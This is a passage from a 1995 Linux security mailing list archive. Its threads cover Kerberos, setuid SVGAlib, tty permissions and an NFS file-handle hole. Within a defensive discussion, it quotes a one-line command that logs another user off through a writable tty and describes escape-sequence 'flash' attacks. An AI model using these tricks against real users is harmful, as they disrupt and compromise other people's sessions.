(8.6.9/8.6.9) id MAA22280; Thu, 9 Mar 1995 12:56:16 -0500 Received: from thdsun.epm.ornl.gov (thdsun.epm.ornl.gov [128.219.8.7]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id IAA20224; Thu, 9 Mar 1995 08:16:09 -0500 Received: (from dunigan@localhost) by thdsun.epm.ornl.gov (8.6.10/8.6.10) id IAA14731; Thu, 9 Mar 1995 08:16:09 -0500 Date: Thu, 9 Mar 1995 08:16:09 -0500 From: Tom Dunigan 576-2522 Message-Id: <[email protected]> To: [email protected] Subject: Re: Shadow discussions ... don't forget skey Cc: [email protected] Sender: [email protected] Precedence: list Reply-To: [email protected] [mod: quoting trimmed --okir] > >These credentials can then be used by a Kerberized telnet (or rlogin) >client to securely login to a remote machine without ever needing to >type your password over the network. > NOT. The assumption was logins from "remote" (uncontrolled and un-kerberized) sites. Say you want to login in to your Kerberized client from the floor of Interop or from a terminal server (or from a computer at a location without Kerberos), your password will go in clear text over the net .... bad news. Talk to Jeff Schiller ([email protected]) about his solution that combines skey and Kerberos, making a clever use of Public Key in the process. From [email protected] Thu Mar 9 13:25:52 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id NAA22534; Thu, 9 Mar 1995 13:23:50 -0500 Received: from rc1.vub.ac.be (rc1.vub.ac.be [134.184.15.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id JAA20605; Thu, 9 Mar 1995 09:11:49 -0500 Received: from is1e.vub.ac.be ([email protected] [134.184.15.5]) by rc1.vub.ac.be (8.6.8.1/3.4.1.ap (rc1)) id PAA03139; Thu, 9 Mar 1995 15:14:59 +0100 Received: by is1e.vub.ac.be (5.61/BFUCC-920211) id AA12809; Thu, 9 Mar 95 15:10:06 +0100 From: [email protected] (GLAUDE DAVID) Message-Id: <[email protected]> Subject: SvgaLib (was Re: Secure setup for file transfert) To: [email protected] Date: Thu, 9 Mar 1995 15:10:01 +0100 (MET) In-Reply-To: from "Mr Martin J Hargreaves" at Mar 8, 95 11:33:14 pm X-Mailer: ELM [version 2.4 PL23c] Content-Type: text Content-Length: 1155 Sender: [email protected] Precedence: list Reply-To: [email protected] Mr Martin J Hargreaves said: > On 7 Mar 1995, Panzer Boy wrote: > > OB linux-security, SVGAlib with convfont being SUID root. Allows you to > > write any files as root. > > Is this list going to be full disclosue like bugtraq? If so can > we have details? Otherwise do you have a fix (other than only running > SVGAlib programs as root). > > [Mod: We would prefer to focus on security enhancement and "hole" > avoidance, detection, and fixes, rather than methods of exploitation] Well, is there any way to secure program ussing svgalib. It seems that to access vga io port you need some priviledge wich is an increase of security (not anybody should be able to turn you screen upside down). But because of the lack of security level in Unix (root or not root), all program for Vga have to be run as root (I always log as root but don't do as I do) or to be setuid root wich is a potential risk. (see above) Is there any other solution than setuid root thoses programs (like gs with the vga console driver). Shouldn't a solution be search ? -- GLAUDE David [email protected] [Glu] I speak French: "Linux est l'unique Unix de Linus." From [email protected] Thu Mar 9 13:30:21 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id NAA22556; Thu, 9 Mar 1995 13:28:54 -0500 Received: from MIT.EDU (SOUTH-STATION-ANNEX.MIT.EDU [18.72.1.2]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id NAA22441; Thu, 9 Mar 1995 13:09:38 -0500 Received: from DCL.MIT.EDU by MIT.EDU with SMTP id AA01847; Thu, 9 Mar 95 13:09:26 EST Received: by dcl.MIT.EDU (5.0/4.7) id AA01718; Thu, 9 Mar 1995 13:09:22 +0500 Date: Thu, 9 Mar 1995 13:09:22 +0500 From: "Theodore Ts'o" Message-Id: <[email protected]> To: Tom Dunigan 576-2522 Cc: [email protected] In-Reply-To: Tom Dunigan 576-2522's message of Thu, 9 Mar 1995 08:16:09 -0500, <[email protected]> Subject: Re: Shadow discussions ... don't forget skey Address: 1 Amherst St., Cambridge, MA 02139 Phone: (617) 253-8091 Content-Length: 1480 Sender: [email protected] Precedence: list Reply-To: [email protected] Date: Thu, 9 Mar 1995 08:16:09 -0500 From: Tom Dunigan 576-2522 NOT. The assumption was logins from "remote" (uncontrolled and un-kerberized) sites. Say you want to login in to your Kerberized client from the floor of Interop or from a terminal server (or from a computer at a location without Kerberos), your password will go in clear text over the net .... bad news. But then you're not using Kerberos to login to your workstation. You're using plain telnet, or plain rlogin. My comments still apply that if you're using Kerberos the way that it's intended to be used, your Kerberos password is not subject to sniifer attacks. Your characterization of Kerberos as being subject to sniffer attacks is what I objected to. If you expose your Kerberos password in a non-Kerberos context, then of course it's vulnerable to attacks. There's nothing magic about the fact that a password which is used with Kerberos that will protect it if you expose it in a stupid fashion. Talk to Jeff Schiller ([email protected]) about his solution that combines skey and Kerberos, making a clever use of Public Key in the process. I'm very well aware of his proposed solution. Jeff and I work together at MIT. I'm on member of Security Area Directorate within the IETF, and Jeff is the Security Area Director, so he organized the SA Directorate. FYI, I'm also managing the Kerberos development at MIT. - Ted [Mod: Let's please not get into an exhaustive debate/discussion on Kerberos itself here, unless it relates somehow to Linux-specific implementations. Thanks. --Jeff.] From [email protected] Thu Mar 9 14:02:32 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id OAA23056; Thu, 9 Mar 1995 14:01:49 -0500 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id OAA23052; Thu, 9 Mar 1995 14:01:43 -0500 Date: Thu, 9 Mar 1995 14:01:43 -0500 From: Jeff Uphoff Message-Id: <[email protected]> To: [email protected] Subject: Re: tty permissions In-Reply-To: Your message of Thu, March 9, 1995 15:13:21 +0100 References: <[email protected]> X-Quote-I-Like: "I'm sure that that could be indented more readably, but I'm scared of the awk parser." --Larry Wall. X-Attribution: Up Sender: [email protected] Precedence: list Reply-To: [email protected] "MM" == Marek Michalkiewicz writes: MM> I see one security problem with the standard util-linux login. When MM> the user logs in, the permissions of this user's tty are set to 0622. MM> [Explanation as to why this is A Bad Thing.] MM> But I think it would be better if the permissions were set to 0620, group MM> "tty". Programs like write should be setgid tty and filter out control MM> characters (write in util-linux already does this). Note that since this appears only to affect 'login' tty's ('xterm' sets perm's correctly to 0620, group "tty"), if a person is running X on the system then the util's such as 'write' and 'wall' need to be setgid anyway to work as intended. (At least in "stock" Slackware this is the case...) MM> In fact, the code to set right tty permissions exists in util-linux login. MM> You only need to change a few #ifdefs and change mesg so it can set right MM> permissions. Are there any good reasons it has not been done yet? I hadn't noticed the interesting (Slackware-based) 'mesg' permission-setting before (this is an 'xterm' tty): juphoff.tarsier<501> tty /dev/ttyp1 juphoff.tarsier<502> ls -l /dev/ttyp1 crw--w---- 1 juphoff tty 4, 193 Mar 9 13:50 /dev/ttyp1 juphoff.tarsier<503> mesg Is n juphoff.tarsier<504> mesg y juphoff.tarsier<505> ls -l /dev/ttyp1 crw--w--w- 1 juphoff tty 4, 193 Mar 9 13:51 /dev/ttyp1 juphoff.tarsier<506> mesg n juphoff.tarsier<507> ls -l /dev/ttyp1 crw------- 1 juphoff tty 4, 193 Mar 9 13:51 /dev/ttyp1 It might be worth passing the word to distribution maintainers that the util's should probably be compiled more "restrictively" if there is such an option and it isn't (or doesn't become) the default. (Are there any conflicting views on this out there?) I know Marc Ewing (of Red Hat) is on this channel, but I don't know if any other distribution maintainers are. If you're a distribution maintainer, could you please drop us a line? ("[email protected]" is best, since that's both Olaf and me.) It'd be nice to know who in that field is on here and who isn't. Thanks much! --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ From [email protected] Thu Mar 9 15:04:55 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id PAA23763; Thu, 9 Mar 1995 15:03:49 -0500 Received: from dhp.com (dhp.com [199.234.136.1]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id OAA23550; Thu, 9 Mar 1995 14:51:10 -0500 Received: (from panzer@localhost) by dhp.com (8.6.10/8.6.9) id OAA32209; Thu, 9 Mar 1995 14:51:12 -0500 To: [email protected] Path: dhp.com!not-for-mail From: [email protected] (Panzer Boy) Newsgroups: mail.linux-security Subject: Re: tty permissions Date: 9 Mar 1995 14:51:09 -0500 Organization: DataHaven Project +1 412 683 8582 Lines: 16 Message-ID: <[email protected]> References: <[email protected]> X-Newsreader: TIN [version 1.2 PL2] Sender: [email protected] Precedence: list Reply-To: [email protected] Marek Michalkiewicz ([email protected]) wrote: : I see one security problem with the standard util-linux login. When : the user logs in, the permissions of this user's tty are set to 0622. Simple solution, put in your global login script "mesg n". 0622 is standard for most unixes, though this doesn't mean it has to be for you. Looking at getting a flash proofed talkd is something else you can look at, if there's enough interest I'll put mine up for people. (btw, flash is a program that sends talk requests to other users in the form of ansi escapes to clear the screen, or do things like initiating a zmodem send to trigger users auto-d/l software.) -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." From [email protected] Thu Mar 9 15:39:47 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id PAA24214; Thu, 9 Mar 1995 15:39:20 -0500 Received: from dutecai.et.tudelft.nl (dutecai.et.tudelft.nl [130.161.144.190]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id PAA24163; Thu, 9 Mar 1995 15:37:03 -0500 Received: by dutecai.et.tudelft.nl (8.6.10/1.34JP) id VAA17264; Thu, 9 Mar 1995 21:37:01 +0100 Message-Id: <[email protected]> Subject: Re: SvgaLib (was Re: Secure setup for file transfert) To: [email protected] Date: Thu, 9 Mar 1995 21:37:00 +0100 (MET) In-Reply-To: <[email protected]> from "GLAUDE DAVID" at Mar 9, 95 03:10:01 pm From: [email protected] X-Mailer: ELM [version 2.4 PL21] Content-Type: text Content-Length: 1989 Sender: [email protected] Precedence: list Reply-To: [email protected] > > Mr Martin J Hargreaves said: > > Well, is there any way to secure program ussing svgalib. > It seems that to access vga io port you need some priviledge wich is an > increase of security (not anybody should be able to turn you screen upside > down). But because of the lack of security level in Unix (root or not root), > all program for Vga have to be run as root (I always log as root but don't > do as I do) or to be setuid root wich is a potential risk. (see above) > Is there any other solution than setuid root thoses programs (like gs with > the vga console driver). Shouldn't a solution be search ? I have on several occasions mailed with Linus about this. What I suggested is the following user appearance. linux % ls -l /dev/vga-fb crw-rw---- 1 root vga 1, 11 Jul 18 1994 /dev/vga-fb linux % cat /proc/memdevs/11 000a0000 00020000 linux % ls -l /proc/memdevs/11 -rw-r--r-- 1 root root 0 Mar 9 21:23 /dev/memdevs/11 linux % su Password: linux # cat /proc/memdevs/12 00000000 00000000 linux # echo 00f00000 00100000 > /proc/memdevs/12 linux # cat /proc/memdevs/12 00f00000 00100000 linux # mknod /dev/mccd_card c 1 11 linux # chown wolff /dev/mccd_card linux # chmod 700 /dev/mccd_card linux # ls -l /dev/mccd_card crw-rw---- 1 root vga 1, 12 Mar 9 1995 /dev/mccd_card linux # exit linux % id uid=10030(wolff) gid=1000(users) groups=1000(users) linux % mccd_program /dev/mccd_card mccd> doit done. mccd> exit Bye linux % Similar userinterface would go for the io-space devices. Opening an io-space device would either allow any user to use ioperm, or would immediately enable the io permissions a-la ioperm. Linus seems not to be enthousiastic about this, I implemented it a few times and lost the patches. When he promises he likes the idea, I'll recode it from scratch (it isn't that much work). We might make a little petition here in this group and "beg" him to put it in...... Roger Wolff. From [email protected] Thu Mar 9 15:42:47 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id PAA24247; Thu, 9 Mar 1995 15:42:41 -0500 Received: from willow.microserve.com (willow.microserve.com [198.70.177.15]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id PAA24021; Thu, 9 Mar 1995 15:18:53 -0500 Received: by willow.microserve.com (Smail3.1.28.1 #52) id m0rmoeB-000OaLC; Thu, 9 Mar 95 15:17 EST Date: Thu, 9 Mar 1995 15:17:22 +0000 From: Joe Fomenko Subject: Re: tty permissions To: [email protected] In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Reply-To: [email protected] On Thu, 9 Mar 1995, Jeff Uphoff wrote: > "MM" == Marek Michalkiewicz writes: > MM> I see one security problem with the standard util-linux login. When > MM> the user logs in, the permissions of this user's tty are set to 0622. > MM> [Explanation as to why this is A Bad Thing.] [snip] > Note that since this appears only to affect 'login' tty's ('xterm' sets > perm's correctly to 0620, group "tty"), if a person is running X on the > system then the util's such as 'write' and 'wall' need to be setgid > anyway to work as intended. (At least in "stock" Slackware this is the > case...) > > MM> In fact, the code to set right tty permissions exists in util-linux login. > MM> You only need to change a few #ifdefs and change mesg so it can set right > MM> permissions. Are there any good reasons it has not been done yet? > > I hadn't noticed the interesting (Slackware-based) 'mesg' > permission-setting before (this is an 'xterm' tty): Hmmm, not with my setup (Yggdrasil, Summer '94 CD...) bash$ tty /dev/ttypa bash$ ls -l /dev/ttypa crw--w--w- 1 joef user 4, 202 Mar 9 15:10 /dev/ttypa bash$ mesg Is y bash$ mesg n bash$ !ls ls -l /dev/ttypa crw------- 1 joef user 4, 202 Mar 9 15:11 /dev/ttypa bash$ mesg y bash$ !ls ls -l /dev/ttypa crw--w--w- 1 joef user 4, 202 Mar 9 15:11 /dev/ttypa Hmmm, not group tty, either :( Looks like I'll have to roll my own... > It might be worth passing the word to distribution maintainers that the > util's should probably be compiled more "restrictively" if there is such It might indeed :) ===================================================== = Joe Fomenko - Willow Grove, PA = = IC CAD,CAE Consultant = = [email protected] = ===================================================== From [email protected] Thu Mar 9 16:30:04 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id QAA24687; Thu, 9 Mar 1995 16:27:40 -0500 Received: from mcenroe.cs.unc.edu (mcenroe.cs.unc.edu [152.2.128.184]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id QAA24525; Thu, 9 Mar 1995 16:16:00 -0500 Received: from proteus.cs.unc.edu by mcenroe.cs.unc.edu (8.6.10/UNC_06_21_94) id QAA25896; Thu, 9 Mar 1995 16:15:58 -0500 Received: by proteus.cs.unc.edu (8.6.9/UNC_06_21_94) id QAA21847; Thu, 9 Mar 1995 16:15:57 -0500 Date: Thu, 9 Mar 1995 16:15:57 -0500 From: Rik Faith Message-Id: <[email protected]> To: [email protected] Subject: Re: tty permissions In-Reply-To: [Jeff Uphoff ] Thu 9 Mar 1995 14:01:43 -0500 References: <[email protected]> <[email protected]> X-Url: http://www.cs.unc.edu/~faith/ Sender: [email protected] Precedence: list Reply-To: [email protected] On Thu 9 Mar 1995 14:01:43 -0500, Jeff Uphoff wrote: > "MM" == Marek Michalkiewicz writes: > > MM> I see one security problem with the standard util-linux login. When > MM> the user logs in, the permissions of this user's tty are set to 0622. > MM> [Explanation as to why this is A Bad Thing.] This was done this way in util-linux because it is the standard way of doing things in the unix world. The trade-off seems to be between having a writable tty when you want 'mesg y' and having a bunch of utilities setgid to tty (which might, in itself, be a security risk, but these utilities are fairly simple). I'll look into changing this for the next util-linux release. From [email protected] Thu Mar 9 17:02:15 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id RAA24972; Thu, 9 Mar 1995 17:00:40 -0500 Received: from mykonos.rc.rit.edu (mykonos.rc.rit.edu [129.21.245.45]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id QAA24817; Thu, 9 Mar 1995 16:45:02 -0500 Received: (from kg@localhost) by mykonos.rc.rit.edu (8.6.9/8.6.9) id QAA00751 for [email protected]; Thu, 9 Mar 1995 16:45:19 -0500 From: Kyriakos Georgiou Message-Id: <[email protected]> Subject: Re: tty permissions To: [email protected] Date: Thu, 9 Mar 1995 16:45:19 -0500 (EST) In-Reply-To: <[email protected]> from "Panzer Boy" at Mar 9, 95 02:51:09 pm X-Organization: Rochester Institute of Technology, Research Corp. Rochester NY, USA X-Operating-System: Linux 1.2.0 i586 World domination. Fast. X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 366 Sender: [email protected] Precedence: list Reply-To: [email protected] > 0622 is standard for most unixes, though this doesn't mean it has to be > for you. Looking at getting a flash proofed talkd is something else you > can look at, if there's enough interest I'll put mine up for people. flash proofed talkd (I have used if for months now) is at: ftp.procyon.com:/pub/Linux regards, -- Kyriakos Georgiou [email protected] From [email protected] Thu Mar 9 20:28:37 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id UAA26702; Thu, 9 Mar 1995 20:25:30 -0500 Received: from brewhq.swb.de (brewhq.swb.de [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id TAA26297; Thu, 9 Mar 1995 19:32:06 -0500 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0rmsNf-0005AmC; Fri, 10 Mar 95 01:16 MET Received: by monad.swb.de (smail3.1.29.0 #5) id m0rmsj2-000KikC; Fri, 10 Mar 95 01:38 MET Message-Id: From: [email protected] (Olaf Kirch) Subject: Yet another NFS hole To: [email protected] Date: Fri, 10 Mar 1995 01:38:39 +0100 (MET) Cc: [email protected] (Jeff Uphoff), [email protected] (Alan Cox), [email protected] X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 1092 Sender: [email protected] Precedence: list Reply-To: [email protected] Hello all, Thomas Koenig's post about NFS file handle spoofing got me thinking. After two hours of work, I've come up with a small program that lets me mount our domain hub's file system without having contacted mountd. I can completely circumvent authentication by ``guessing'' the file handle. This does not involve packet spoofing; you only have to guess what device the root file system is on. I dunno if this has been known before, but it shocked me a little. I can hand out the code to devlopers who would like to take a look at it. I'm not going to post it, though, for obvious reasons. Currently, I can see no fix for this except keeping track of client mounts somehow. Thomas' proposal may be a good idea for a long-term solution; but maybe a quick hack that makes guessing a little harder would be okay for starters. Any suggestions? Regards, Olaf [And before anyone tries this on our domain's hub: I've killed our nfsd:)] -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax From [email protected] Thu Mar 9 20:37:13 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id UAA26820; Thu, 9 Mar 1995 20:37:05 -0500 Received: from cutter.ship.edu (cutter.ship.edu [157.160.80.101]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id RAA25458; Thu, 9 Mar 1995 17:38:08 -0500 Received: by cutter.ship.edu (Linux Smail3.1.28.1 #1) Sender: [email protected] Precedence: list Reply-To: linux-security.id.m0rmqju-000CJ3C;[email protected], 9.Mar.95.17:[email protected] Date: Thu, 9 Mar 1995 17:31:25 -0500 (EST) From: Thomas Briggs To: [email protected] Subject: Re: tty permissions In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 9 Mar 1995, Marek Michalkiewicz wrote: > In fact, the code to set right tty permissions exists in util-linux login. > You only need to change a few #ifdefs and change mesg so it can set right > permissions. Are there any good reasons it has not been done yet? > This is one of the useful features of shadow passwords, it does let you change this to any mode you want (for instance, on this system, I have it set for 0600, only a user has their own TTY, even another user of the group can't get to it... and I have all my /usr/bin utils chmod 4777 :-) [Mod: Sounds like somebody here used to work for Microsoft. :)~ --Jeff.] Actually, realistically, along with the tty's being more public than I like, I've noticed a bunch of devices are freely accesible to users... I'll try to make a list of the ones I think are kinda not logical. Also, there are some utils and directories that I think ought to be protected by some better security, such as /sbin and /usr/sbin, I would not even like users seeing what was in these dirs... I've got them chmod'ed out of the user space as well as out of root's profile, etc, etc. At least this way, if a user does happen to get to be root or uid=0, they won't have a clear picture as to whats in those directories. +-----------+ "Cutter has crashed, again!" - Scott Hooper, 1994 |Tom Briggs +----------------------------+ Cutter: probably the most heavily |Shippensburg University of Pennsylvania | loaded i486-33 machine ever made. |primary address: [email protected]+---------+ Linux 1.1.94, 600 users |secondary address: [email protected]| telnet,Aftp,gopher,http +--------------------------------------------------+ nfs,identd,pine,rtin... -- [Mod: Yes, I realize that if a user should "happen to get to be root," odds are that they know full well where to find the sbin-type util's and how to use them if they want. Let's not start a thread over this... --Jeff.] From [email protected] Thu Mar 9 20:39:21 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id UAA26862; Thu, 9 Mar 1995 20:39:12 -0500 Received: from power.net (touchstone.power.net [198.186.216.131]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id SAA25665; Thu, 9 Mar 1995 18:11:29 -0500 Received: by power.net (Smail3.1.29.1 #3) id m0rmrMd-0005N5C; Thu, 9 Mar 95 15:11 PST Date: Thu, 9 Mar 1995 15:11:26 -0800 (PST) From: Elias Levy To: [email protected] Subject: Re: Secure setup for file transfer In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Reply-To: [email protected] On Wed, 8 Mar 1995, Mr Martin J Hargreaves wrote: > > Is this list going to be full disclosue like bugtraq? If so can > we have details? Otherwise do you have a fix (other than only running > SVGAlib programs as root). > > M. SuperProbe, X, SVGAlib, and other programs shuld not be run setuid root. This allows anyone telneted into the system to screw up your console. root should install these programs, and if your logged in the console as someone other than root you should have permissions to start X, etc. Therefore the setuid bit in this programs are usually not needed. [email protected] (Elias Levy) PowerNet, Inc. From [email protected] Thu Mar 9 22:01:58 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id WAA27717; Thu, 9 Mar 1995 22:00:52 -0500 Received: from mcenroe.cs.unc.edu (mcenroe.cs.unc.edu [152.2.128.184]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id VAA27525; Thu, 9 Mar 1995 21:44:04 -0500 Received: from proteus.cs.unc.edu by mcenroe.cs.unc.edu (8.6.10/UNC_06_21_94) id VAA29055; Thu, 9 Mar 1995 21:44:01 -0500 Received: by proteus.cs.unc.edu (8.6.9/UNC_06_21_94) id VAA22806; Thu, 9 Mar 1995 21:44:00 -0500 Date: Thu, 9 Mar 1995 21:44:00 -0500 From: Rik Faith Message-Id: <[email protected]> To: [email protected] Subject: Re: Secure setup for file transfer In-Reply-To: [Elias Levy ] Thu 9 Mar 1995 15:11:26 -0800 References: CC: [email protected], [email protected] Sender: [email protected] Precedence: list Reply-To: [email protected] On Thu 9 Mar 1995 15:11:26 -0800, Elias Levy wrote: > SuperProbe, X, SVGAlib, and other programs shuld not be run setuid root. > This allows anyone telneted into the system to screw up your console. > root should install these programs, and if your logged in the console as > someone other than root you should have permissions to start X, etc. > Therefore the setuid bit in this programs are usually not needed. Can you explain this? X must run as root to get access to the underlying hardware (e.g., via the iopl(2) or ioperm(2) calls). Are you using a suid'd wrapper to check for a console login in order to get X running as root without using the setuid bit on the X binary itself? This seems like a bit of overprotectivity to me. If I'm logged in at the console (not running X), and someone starts X, I can just switch VC's. Just a note on tty security in general. I haven't had my tty "screwed up" by someone in over 10 years -- and I really don't see this issue as a big security risk. In general, it is very hard to prevent denial of service attacks under unix, especially when any user can use up all the available memory or many of the process slots on the machine. Maybe people are seeing these sorts of attacks in undergraduate computing environments or some other special situations? Maybe sysadmins in those situations should implement better social controls and disciplinary actions. I know that if someone in our academic computing environment tried this juvenile tty crap, they'd hear from several sysadmins, a few professors, and a bunch of students: this type of antisocial behavior would simply not be tolerated. I'm mostly concerned with attacks that will allow an ordinary user to become root; or that will allow a non-user to gain access to my system or its files (e.g., network attacks). linux-security/1995/linux-security.950310100664 1767 1767 71341 5730454710 17256 0ustar majdommajdomFrom [email protected] Fri Mar 10 03:10:51 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id DAA00781; Fri, 10 Mar 1995 03:07:59 -0500 Received: from maila.surrey.ac.uk (maila.surrey.ac.uk [131.227.102.8]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with ESMTP id AAA29713; Fri, 10 Mar 1995 00:33:41 -0500 Received: from central.surrey.ac.uk by maila.surrey.ac.uk with SMTP (PP); Fri, 10 Mar 1995 05:34:01 +0000 Received: by central.surrey.ac.uk (1.37.109.8/16.2) id AA22406; Fri, 10 Mar 1995 05:33:35 GMT Date: Fri, 10 Mar 1995 05:33:35 +0000 (GMT) From: Mr Martin J Hargreaves To: [email protected] Cc: [email protected] Subject: Re: SvgaLib (was Re: Secure setup for file transfert) In-Reply-To: <[email protected]> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Reply-To: [email protected] On Thu, 9 Mar 1995 [email protected] wrote: > > > > Mr Martin J Hargreaves said: > > > > Well, is there any way to secure program ussing svgalib. > > It seems that to access vga io port you need some priviledge wich is an > > increase of security (not anybody should be able to turn you screen upside > > down). But because of the lack of security level in Unix (root or not root), > > all program for Vga have to be run as root (I always log as root but don't > > do as I do) or to be setuid root wich is a potential risk. (see above) > > Is there any other solution than setuid root thoses programs (like gs with > > the vga console driver). Shouldn't a solution be search ? I didn't say all that. Mind you it's kind of nice to be the first person wrongly attributed on a mailing list.... Cheers, M. ObLinuxSecurity. Would other people find it useful if someone posted the output of checkers like COPS and TIGER for unmodifies Linux distributions. I think they'd be quite interesting reading. My "locked down" box threw up quite a bit of worrying stuff from a TIGER run - I may try it on my (more or less) untweaked home system.... ---------------------------------------------------------------- | Martin Hargreaves, [email protected]| | Undergraduate Computational Chemist | | WWW Server Admin http://www.chem.surrey.ac.uk| ---------------------------------------------------------------- From [email protected] Fri Mar 10 03:10:53 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id DAA00788; Fri, 10 Mar 1995 03:09:16 -0500 Received: from charon.cwi.nl (charon.cwi.nl [192.16.184.142]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id CAA00141; Fri, 10 Mar 1995 02:33:45 -0500 Received: from zeus.cwi.nl by charon.cwi.nl with SMTP id ; Fri, 10 Mar 1995 08:33:45 +0100 Received: by zeus.cwi.nl id AA17469 (5.65b/3.8/CWI-Amsterdam); Fri, 10 Mar 1995 08:33:45 +0100 Date: Fri, 10 Mar 1995 08:33:45 +0100 From: [email protected] Message-Id: <[email protected]> To: [email protected], [email protected] Subject: Re: tty permissions Sender: [email protected] Precedence: list Reply-To: [email protected] : > "MM" == Marek Michalkiewicz writes: : > : > MM> I see one security problem with the standard util-linux login. When : > MM> the user logs in, the permissions of this user's tty are set to 0622. : > MM> [Explanation as to why this is A Bad Thing.] : This was done this way in util-linux because it is the standard way of : doing things in the unix world. The trade-off seems to be between having a : writable tty when you want 'mesg y' and having a bunch of utilities setgid : to tty (which might, in itself, be a security risk, but these utilities are : fairly simple). : I'll look into changing this for the next util-linux release. I don't think mesg and family should be suid anything, and I agree that tty permissions should be 0600 upon login. People that want to allow messages can put "mesg y" in their .profile. (I, and most people I know, have had "mesg n" in .profile the past twenty years or so; giving people write permission to your tty alows them to log you off ("stty 0 < /dev/tty1"), or do very obscure things with tty modes and flags. Even when they have no malicious intent it is very annoying to get some message across the output on your screen.) Andries From [email protected] Fri Mar 10 06:44:04 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id GAA02282; Fri, 10 Mar 1995 06:41:34 -0500 Received: from power.net (touchstone.power.net [198.186.216.131]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id EAA01541; Fri, 10 Mar 1995 04:01:02 -0500 Received: by power.net (Smail3.1.29.1 #3) id m0rn0Ti-0005MJC; Fri, 10 Mar 95 00:55 PST Date: Fri, 10 Mar 1995 00:55:22 -0800 (PST) From: Elias Levy To: [email protected] cc: Jeff Uphoff , Alan Cox , [email protected] Subject: Re: Yet another NFS hole In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Reply-To: [email protected] [mod: quoting trimmed. --okir] On Fri, 10 Mar 1995, Olaf Kirch wrote: > Thomas Koenig's post about NFS file handle spoofing got me thinking. > After two hours of work, I've come up with a small program that lets > me mount our domain hub's file system without having contacted mountd. This is an old bug. You can use nfsbug to find if you server has this and other nfs related bugs. (BTW people should really take a look at old bugtraq archives.) The code is been out for ages so no need to be hidding it. You can find it at http://underground.org/tools/unix/audit/ I dont belive you need to keep track of clients with mounted file systems, just make the handles more randos, but i'am no nfs expert to I'll shut up :) Elias From [email protected] Fri Mar 10 09:17:22 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id JAA03241; Fri, 10 Mar 1995 09:13:48 -0500 Received: from brewhq.swb.de (brewhq.swb.de [193.175.30.3]) by tarsier.cv.nrao.edu (8.6.9/8.6.9) with SMTP id GAA02284; Fri, 10 Mar 1995 06:41:35 -0500 Received: by brewhq.swb.de (Linux Smail3.1.29.0 #5) id m0rn1lu-0005B5C; Fri, 10 Mar 95 11:18 MET Received: by monad.swb.de (smail3.1.29.0 #5) id m0rn28P-000KjCC; Fri, 10 Mar 95 11:41 MET Message-Id: From: [email protected] (Olaf Kirch) Subject: Re: Yet another NFS hole To: [email protected] Date: Fri, 10 Mar 1995 11:41:28 +0100 (MET) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 784 Sender: [email protected] Precedence: list Reply-To: [email protected] Elias Levy wrote: > > I dont belive you need to keep track of clients with mounted file > systems, just make the handles more randos, but 